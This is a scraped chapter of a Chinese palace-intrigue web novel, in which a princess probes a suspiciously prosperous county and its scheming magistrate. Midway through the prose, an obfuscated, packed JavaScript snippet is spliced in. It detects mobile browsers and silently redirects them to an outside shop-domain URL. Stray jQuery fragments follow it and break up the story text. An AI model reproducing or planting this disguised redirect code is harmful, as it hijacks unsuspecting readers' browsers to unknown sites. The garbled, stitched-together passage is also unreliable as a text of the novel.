文趣网 > 其他小说 > 与你功名藏身后 > 15. 第十五章
    影一假扮成砍柴的樵夫去屋子讨一杯水喝,哪知还没靠近那屋子就被屋子里的人察觉,在路上设了陷阱,被荆棘扎的一身狼狈。

    影二假扮成农夫,下场一样。

    影三假扮成来游山玩水的旅人,被他们带到蛇窝里仓皇而逃。

    ......

    总之,暗卫里十个人都没能近身。

    “殿下,暗中调查才是我们的强项,这种假扮的事,根本不适合我们。”影一一边抱怨,一边挑着身上的刺,满脸委屈。

    沈初锦有些无奈地扶额,道:“这些日子他们应是怀疑了,那位娘子也没去卖烧饼了,在他们那问不出什么了。”

    她转头看向菀云:“京中是否有消息?”

    菀云摇摇头。

    玄景帝没有下旨也没有派人来找她,所有线索都中断,沈初锦不甘处于被动。

    沉思片刻,沈初锦开口问道:“影十,你还记得你是在哪里发现逃跑的人?”

    影十立刻回答:“在东边的方向,我这几日去看过,没有人跑出去,而且那里的守卫明显多了不少。”

    沈初锦看向窗外,这富丽堂皇的表面下,藏了多少秘密。

    裴卿和云笙辞从街上回来,裴卿手里抱着一袋糖炒栗子,道:“我买栗子时遇到了官兵,老板连钱都不要,瞬间就消失了。”

    “我去和那些商人闲谈,他们说,这吉县的繁华都是因为县令带了个好头,让吉县百姓的生活才能这样好。整个吉县我能去的地方都走了一趟,几乎没有什么破旧的屋子,像是整个县的百姓都住着新方。”云笙辞道。

    “就是因为太完美了,才是问题。”

    “殿下,县令方余方大人送来请帖,邀您去县令府小聚。”菀云拿着一封帖子递到沈初锦面前。

    沈初锦蹙眉,她这是又被暴露行踪了。

    县令府,方余恭敬地将沈初锦迎进府,嘴角挂着有些夸张的笑,又是上茶,又是上点心,这副场景,沈初锦似乎在哪里见过。

    “方县令找本宫何事?不妨直说。”

    方余正了正颜色,道:“下官冒昧一问,长公主殿下身边是否有一位姓云的商人。”

    沈初锦挑了下眉,道:“本宫倒是好奇,县令从哪得知的消息,连本宫在吉县都让县令知道了。”

    方余赔笑着,解释道:“殿下身边有一位来自抚州的商人,从抚州调粮食帮边疆的将士度过难关,此事整个玄国都是知晓的,只是能一次性调动如此多的粮食,怕是只有那位抚州首富才能做到了。”

    沈初锦轻笑一声道:“方县令倒是会分析。”

    “殿下就别藏着了,这样的人才就应该留在我们吉县。”方余说出自己的目的。

    “县令何出此言?”

    “我们吉县,商人云集,周边多少州县都是找我们这里供应粮食的,云公子若是能来这,吉县的财富定会扶摇直上。云公子在此,也有更多的获利,我们会给云公子选一处适合的大宅子,并让吉县的所有商人都听他的号令,其次,这里的物价更高,云公子的盈利也更多。”

    方余不辞辛劳地说了一堆好处。

    沈初锦若有所思地问道:“如此好事,县令为何不亲自找云公子商谈?”

    “听闻这云公子为人低调且神秘,下官还需要殿下引荐。当然,好处定是少不了殿下的。”

    “有何好处?”沈初锦饶有兴致地端详着方余。

    “云公子所得利润,官府与他二八分,下官还会抽一成送给殿下,至少三年,殿下也只云公子的经商能力,这一成可不是小数目。”方余眉开眼笑,仿佛自己已经得手了一般。

    沈初锦装作思索的样子,好一会才道:“本宫会将县令的话传给云公子。”

    “下官多谢殿下。”

    沈初锦回到客栈,和云笙辞说了此事。

    云笙辞一直在想方余是如何从中获利的,又是如何让那些商人心服口服,吉县的物价之高,卖给别的地方的售价也不会好到哪去,究竟是如何运行的。这些问题对于经商的他,在脑海里挥之不去。

    沈初锦打趣道:“我也想知道,以云公子的实力,我在其中抽一成利润会有多少。”

    云笙辞很快将那些头疼的问题抛掷脑后,道:“一成哪里够,给你五成我也不嫌多。”

    他长得好生好看,笑起来更是增添了几分随和,至少在沈初锦看来是这样。

    沈初锦嘴角挂笑,手撑着下巴,端详着云笙辞,道:“如此随意便将五成的利润给我,不似云首富的风格。”

    云笙辞眼神闪躲,悄悄别过脑袋道:“我自然有自己的考量,何况,给你我也不亏。”

    此时门被敲响,菀云从外进来:“殿下,有玄京的信。”

    云笙辞猛地站起来,道:“太热了,我出去透透气。”说罢,他仓皇离开。

    “没几日就入冬了,哪里热?”菀云不解地自语。

    沈初锦恢复往日的神情,接过信看。

    方余为何会知道她在吉县,又为何会知道云首富在她身边,信中都有了答案。

    “父皇。”沈初锦沉声喊,她将纸置于烛火上,乃至烧成灰于烛台里才收回手。

    难怪那个方余如此自信,敢直接说出目的,原来背后有一座大靠山。玄景帝果然没有想象中的好对付,他的手可伸的太长了,哪怕有重重阻碍。

    沈初锦抬头看向菀云道:“你去和云笙辞说一声,让他明日去县令府,去和方余谈,同意与否,他自己决断。”

    “是。”

    当晚,城东起了乱子,一位看不清脸的姑娘想要从城东的一处缺口逃出去,被守在那里的守卫抓个正着,紧紧追了好几条街。

    姑娘不熟悉这里的路,凭着感觉乱跑,跑进了一个死胡同。进退两难时,乔装打扮一番的影一将她带起,离开了这里。

    同时,城东的守卫稀缺,吉县的部分百姓趁着这个机会,调虎离山,顺利离开了好几个人。守卫察觉后追了上次,被赶来的影二影三解决了,临走前,一张纸条被塞到离开的百姓手里。

    客栈里,裴卿上气不接下气地指着沈初锦,想要开口吐槽发现自己累的根本开不了口。

    沈初锦打趣道:“辛苦了,我们最厉害的裴医师。”

    她的话成功堵住了裴卿的嘴,影二和影三回来汇报情况:“殿下,纸条已经成功交到他们手里,会有人给他们带路去那间屋子。”

    沈初锦满意地点点头,又看向还没喘过气的裴卿,在她看不到的地方拿出一个食盒放到她面前,是一碗热腾的馄饨。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17801234|210633||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    “刚买的,吃吧。”

    裴卿眼前一亮,一肚子准备说出口的坏话硬生生咽了回去。

    “你怎么知道他们会在今晚逃跑的?”裴卿终于缓好了,问出心中的疑问。

    “我不知道,只是知道,一旦有一个人跑出去,那就会有第二个第三个,如果这富丽堂皇的吉县当真有问题,逃出去的人只会更多,不会更少。”

    裴卿吹着滚烫的馄饨,夸赞道:“人心这一块,还得是你。”

    今晚的事很快被方余知道了,除了加强守卫,还派人去搜寻那些逃跑的百姓。

    次日,云笙辞如约抵达县令府。

    “云公子怎亲自来,派人来和我说一声,我亲自去找云公子。”方余在一旁奉承地说了许多话。

    “多余的话不必多说,县令直接开始吧。”云笙辞开口道,坐在主位上,看着方余的眼神冷淡了许多,不禁让方余打了个寒颤,这个眼神总觉得在哪里见过。

    “我这里有一份文书,公子先看看。”方余双手递上。

    云笙辞没看,直言道:“协议的事稍后再提,县令不妨先说说本公子该做些什么?”

    方余赔笑着道:“公子的经商才能整个玄国都有所耳闻,简直是商人中的领袖,公子只要加入吉县,便可以带来偌大的影响力,我们吉县能给公子带来更多的便利,方便公子施展才华。”

    “县令的话当真讨喜,不过本公子有些问题想要请教县令。”

    “不敢当不敢当。”方余笑的谄媚,但眼里的贪婪藏不住。

    云笙辞换了个舒服的坐姿,问道:“向其他地方售卖的东西是吉县的何人所制,质量是否达标,若不是,又是从哪里来的,是否走的正规流程。吉县商人如此多,本公子要在何处获利,是否有保障,又和官府几成分?”

    一连串的问题让方余一时无解,很快又反应过来,先是赔笑又是夸赞,接着将文书递到云笙辞面前道:“公子不妨先签字盖章,两年内官府不会收取云公子任何所得利润,我也会解说公子的问题。”

    云笙辞没接文书,道:“本公子向来严谨,县令先回答问题。”

    方余暂且将文书收起来,开始和云笙辞讲解。

    “县令,有急事。”一名侍卫着急地推门而入。

    方余朝云笙辞颇有歉意的一笑,走到侍卫旁,眼神不太友善。

    侍卫压低声音说了几句话,方余脸上的惊慌藏不住,但是又舍不得放下云笙辞这里的事,一时进退两难。

    简单吩咐了侍卫几句,重新做回云笙辞对面。

    “云公子,我们继续谈。”

    两个时辰过去,方余能说的都说了,不能说的他只字不提,夸奖的话换了一轮又一轮,但是云笙辞好像越来越没兴趣。

    “公子可有什么地方不满?”

    云笙辞重新打起精神道:“没有不满,县令说的让人心动,不过本公子需要再与长公主商讨,不如县令再等几日?”

    方余先是一愣,又很快笑着应下,亲自将云笙辞送走。

    等人走后,方余的脸色很不好,不只是因为和云笙辞浪费的这两个时辰,还有更紧要的事值得他担心。

    和云笙辞商谈时,侍卫全被支走,再得知消息后已经晚了,城里乱了。